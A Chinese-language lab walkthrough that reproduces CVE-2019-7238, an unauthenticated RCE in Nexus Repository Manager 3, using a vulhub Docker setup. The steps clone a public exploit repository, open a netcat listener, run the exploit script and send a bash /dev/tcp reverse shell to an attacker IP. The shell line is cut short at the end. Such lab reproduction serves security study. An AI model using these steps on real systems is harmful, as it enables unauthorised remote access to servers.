CVE-2019-7238 Nexus Repository Manager 3 RCE漏洞验证及复现

一、漏洞概述

Nexus Repository Manager是Sonatype公司的一个产品,简称NXRM,它是一款通用的软件包仓库管理服务,可以简单的理解为Maven的私服。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

漏洞发现

二、环境搭建

git clone https://hub.fastgit.org/vulhub/vulhub.git
cd vulhub/nexus/CVE-2019-7238
docker-compose up -d

访问: http://192.168.25.207:8081/

触发该漏洞,必须保证仓库里至少有一个包存在。

三、漏洞复现

1、下载EXP

git clone https://github.com/mpgn/CVE-2019-7238.git

修改 CVE-2019-7238.py 中的remote地址

2、监听端口

#Kali上监听端口

nc -lvvp 4444

3、执行exp脚本

python3 CVE-2019-7238.py

执行脚本利用成功后,返回command (not reflected)>界面

4、再执行反弹脚本:

bash -i >& /dev/tcp/192.168.21.4/4444 0>&

5、漏洞利用成功!